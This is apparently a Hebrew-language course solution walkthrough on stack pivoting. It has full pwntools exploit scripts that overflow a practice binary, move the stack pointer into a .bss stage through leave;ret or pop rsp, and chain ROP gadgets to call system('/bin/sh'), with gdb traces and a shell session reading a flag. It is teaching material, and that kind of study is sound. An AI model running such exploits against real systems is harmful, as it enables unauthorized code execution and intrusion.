6.1 stack pivoting פתרון
פתרון - הזזת מחסנית - stack pivoting¶
נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות בפלט הן דוגמה - אצלכם הן עשויות להשתנות מעט בין גרסאות מהדר, אז תמיד שלפו אותן מהבינארי שלכם ואל תעתיקו עיוור.
פתרון תרגיל 1 - להוכיח שאין מקום¶
בדיקת ההגנות:
בדיוק מה שרצינו: אין canary (הoverflow עוברת), NX פעיל (אנחנו ב-ROP), אין PIE (כתובות קבועות). עכשיו מציאת ה-offset. שולחים דמה לקריאה הראשונה ו-cyclic לשנייה:
from pwn import *
context.binary = ELF('./pivot')
p = process('./pivot')
p.recvuntil(b'stage:')
p.send(b'X' * 16) # dummy input for the first read (to stage)
p.recvuntil(b'overflow:')
p.send(cyclic(80)) # the short overflow
p.wait()
core = p.corefile
fault = core.read(core.rsp, 8)
log.info('offset = %d', cyclic_find(fault))
הפלט:
אז ה-offset עד return address הוא 72 (buffer 64 + saved rbp 8). הקריאה השנייה קוראת בדיוק 80 בתים: 72 עד return address, 8 בתים לדריסת return address, ו-אפס בתים אחריה. אין שום מקום לchain. זו כל המוטיבציה: אנחנו יכולים לדרוס את saved rbp ואת return address, וזהו - בדיוק שני הרכיבים שצריך כדי לבצע פיבוט עם leave ; ret.
פתרון תרגיל 2 - איתור הרכיבים¶
$ ROPgadget --binary ./pivot | grep ': leave ; ret'
0x0000000000401185 : leave ; ret
$ ROPgadget --binary ./pivot | grep 'pop rdi ; ret'
0x0000000000401263 : pop rdi ; ret
$ ROPgadget --binary ./pivot | grep ': ret$'
0x000000000040101a : ret
את שאר הרכיבים נשלוף מ-pwntools בתוך הסקריפט: elf.symbols['stage'] לכתובת הבמה, next(elf.search(b'/bin/sh\x00')) למחרוזת, ו-elf.plt['system'] לקריאה. אפשר לאמת ידנית:
$ nm ./pivot | grep ' stage'
0000000000404060 B stage
$ ROPgadget --binary ./pivot --string '/bin/sh'
0x0000000000402008 : /bin/sh
פתרון תרגיל 3 - הפיבוט המלא עם leave ; ret¶
הנה ה-exploit המלא, שני השלבים במקום אחד:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./pivot')
stage = elf.symbols['stage']
leave_ret = 0x401185
pop_rdi = 0x401263
ret = 0x40101a
binsh = next(elf.search(b'/bin/sh\x00'))
system = elf.plt['system']
# stage 1 - the full chain that will sit at stage.
# 8 padding bytes because pop rbp of the second leave;ret will swallow them, and the chain starts at stage+8.
chain = p64(0) # padding swallowed by pop rbp
chain += p64(pop_rdi)
chain += p64(binsh)
chain += p64(ret) # align to 16 bytes before system
chain += p64(system)
# stage 2 - the short overflow that performs the pivot.
pivot = b'A' * 64 # padding up to saved rbp
pivot += p64(stage) # saved rbp -> stage address
pivot += p64(leave_ret) # return addr -> leave ; ret
p = process('./pivot')
p.recvuntil(b'stage:')
p.send(chain) # fill the stage
p.recvuntil(b'overflow:')
p.send(pivot) # trigger the pivot
p.interactive()
הרצה:
[+] Starting local process './pivot': pid 12841
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat flag.txt
FLAG{pivoted_into_the_bss}
שימו לב לשני מספרים שונים כאן, ושניהם חשובים. ה-offset עד return address הוא 72 (זה מה שמדדנו בתרגיל 1 עם cyclic), אבל הpadding עד ה-saved rbp - שאותו אנחנו דורסים כדי לבצע את הפיבוט - הוא רק 64. לכן הpayload הוא b'A'*64 + p64(stage) + p64(leave_ret): 64 בתים ממלאים את buf, אחריהם 8 בתים דורסים את saved rbp בכתובת stage, ואחריהם 8 בתים דורסים את return address בגאדג'ט leave ; ret. סך הכל 80 בתים - בדיוק כמו שהקריאה קוראת, אף בית מיותר.
למה זה עבד: הקריאה הראשונה שתלה את הchain המלאה ב-stage. הoverflow הקצרה דרסה את saved rbp ל-stage ואת return address ל-leave ; ret. באפילוג של vuln, ה-leave הראשון טען rbp = stage, וה-ret קפץ לגאדג'ט leave ; ret. שם, ה-leave השני עשה rsp = stage, ה-pop rbp בלע את 8 בתי הpadding, וה-ret קפץ ל-pop rdi שב-stage+8. מכאן הchain רצה חופשי: rdi = "/bin/sh", ואז system.
איך להכליל: זה הדפוס הבסיסי של כל פיבוט. הoverflow הקצרה היא רק "טרמפולינה" - היא לא מכילה את הלוגיקה, רק מעבירה את rsp למקום שבו הלוגיקה כבר יושבת. ברגע שהבנתם שאתם שולטים ב-rsp, כל המחסנית האמיתית שלכם יכולה לשבת בכל מקום כתיב בזיכרון.
פתרון תרגיל 4 - לאמת את הפיבוט בעיניים¶
מוסיפים breakpoint על ה-leave ; ret ועוקבים:
ב-gdb, אחרי שהגענו ל-breakpoint (רגע לפני ה-leave השני), נעשה single-step ונצפה באוגרים:
pwndbg> p/x $rbp
$1 = 0x404060 # stage - exactly what we set in saved rbp
pwndbg> si # execute leave
pwndbg> p/x $rsp
$2 = 0x404068 # rsp = stage+8 (after mov rsp,rbp then pop rbp)
pwndbg> x/4gx $rsp
0x404068: 0x0000000000401263 0x0000000000402008 # pop rdi , "/bin/sh"
0x404078: 0x000000000040101a 0x0000000000401030 # ret , system@plt
רואים בבירור: אחרי הפיבוט, rsp מצביע אל תוך stage, וה-x/4gx מראה את הchain שלנו יושבת שם מסודרת. ה-ret הבא יקפוץ ל-pop rdi, והכל מתגלגל.
למה זה עבד: ה-leave תרגם ל-mov rsp, rbp ; pop rbp. מכיוון ש-rbp היה stage, אחרי ה-mov היה rsp = stage, ואחרי ה-pop rbp (שקרא את [stage] = 0 והזיז את rsp ב-8) קיבלנו rsp = stage+8. איך להכליל: אם אי פעם אתם מסופקים אם פיבוט עבד, ה-breakpoint על גאדג'ט הפיבוט ובדיקת rsp אחריו הם הדרך הכי מהירה לוודא. אם rsp לא הצביע לאן שציפיתם, כמעט תמיד ה-saved rbp שלכם היה שגוי.
פתרון תרגיל 5 - אותו פיצוח עם pop rsp ; ret¶
קודם בודקים אם הגאדג'ט קיים:
אם הוא קיים, הפיצוח נקי יותר. עכשיו return address נדרסת ל-pop rsp, ומיד אחריה שמים את stage. אין pop rbp כפול, אז אין צורך בpadding המקדים - הchain מתחילה כבר ב-stage+0:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./pivot')
stage = elf.symbols['stage']
pop_rsp = 0x4011f7
pop_rdi = 0x401263
ret = 0x40101a
binsh = next(elf.search(b'/bin/sh\x00'))
system = elf.plt['system']
# chain without leading padding - starts right at stage+0.
chain = p64(pop_rdi)
chain += p64(binsh)
chain += p64(ret)
chain += p64(system)
# the overflow: return addr -> pop rsp ; ret, followed by stage which gets popped into rsp.
pivot = b'A' * 72 # padding up to the return address
pivot += p64(pop_rsp) # return addr -> pop rsp ; ret
pivot += p64(stage) # popped into rsp by pop rsp
p = process('./pivot')
p.recvuntil(b'stage:')
p.send(chain)
p.recvuntil(b'overflow:')
p.send(pivot)
p.interactive()
שימו לב שכאן הpadding הוא b'A' * 72 (עד return address), כי אנחנו לא צריכים לדרוס את saved rbp - הפיבוט לא עובר דרכו. ה-ret של vuln קופץ ל-pop rsp ; ret, ה-pop rsp שולף את stage אל rsp, וה-ret שאחריו שולף את [stage] = pop rdi. פשוט וישיר.
למה זה עבד: pop rsp הוא הפיבוט הטהור - הוא מציב ערך שאנחנו שולטים בו ישירות ב-rsp, בלי תופעות לוואי כמו ה-pop rbp של leave. איך להכליל: כשהגאדג'ט הזה זמין, הוא הבחירה הכי נקייה. הבעיה היחידה היא שהוא נדיר - הבייט 5c (שהוא pop rsp) פשוט לא מופיע הרבה ברצפים שמסתיימים ב-ret. אם הוא לא קיים אצלכם, נופלים חזרה ל-leave ; ret.
פתרון תרגיל 6 (בונוס) - migrate של pwntools ושרת מרוחק¶
הספרייה pwntools יודעת לבנות פיבוט לבד עם rop.migrate:
context.binary = elf = ELF('./pivot')
stage = elf.symbols['stage']
# build the real chain as a ROP object...
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh\x00'))])
chain = rop.chain()
# ...and a separate pivot chain that moves rsp to it.
migrate = ROP(elf)
migrate.migrate(stage)
log.info('\n' + migrate.dump())
ה-dump יראה לכם ש-pwntools בחר בעצמו גאדג'ט פיבוט (בדרך כלל leave ; ret דרך pop rbp) ובנה את אותה לוגיקה שבנינו ידנית. זה נחמד לייצור, אבל חשוב שהבנתם את המכניקה לפני שאתם נשענים על האוטומציה.
גרסה גמישה שרצה מקומית ומול שרת:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./pivot')
def conn():
if args.REMOTE:
return remote('127.0.0.1', 1337)
return process('./pivot')
stage = elf.symbols['stage']
leave_ret = 0x401185
pop_rdi = 0x401263
ret = 0x40101a
binsh = next(elf.search(b'/bin/sh\x00'))
system = elf.plt['system']
chain = p64(0) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
pivot = b'A' * 64 + p64(stage) + p64(leave_ret)
p = conn()
p.recvuntil(b'stage:')
p.send(chain)
p.recvuntil(b'overflow:')
p.send(pivot)
p.interactive()
מריצים את השרת ותוקפים:
ומקבלים shell מרוחק.
לגבי PIE: אילו הבינארי היה מקומפל עם PIE, כתובת stage, כל הגאדג'טים, ו-system@plt היו אקראיים בכל הרצה. במקרה כזה, טכניקת הפיבוט עצמה לא משתנה בכלל - מה שמשתנה הוא שצריך קודם לדלוף את בסיס הקוד (למשל דרך חולשת format string מפרק 5, או pointer leak מהמחסנית), ואז לחשב את כל הכתובות כ-base + offset. הלקח החשוב: פיבוט הוא טכניקת "תנועה" של המחסנית, והוא אורתוגונלי לשאלה מאיפה מגיעות הכתובות. אותו רעיון עובד גם כשהבמה היא ב-heap וגם כשהיא בכתובת שדלפה מ-libc.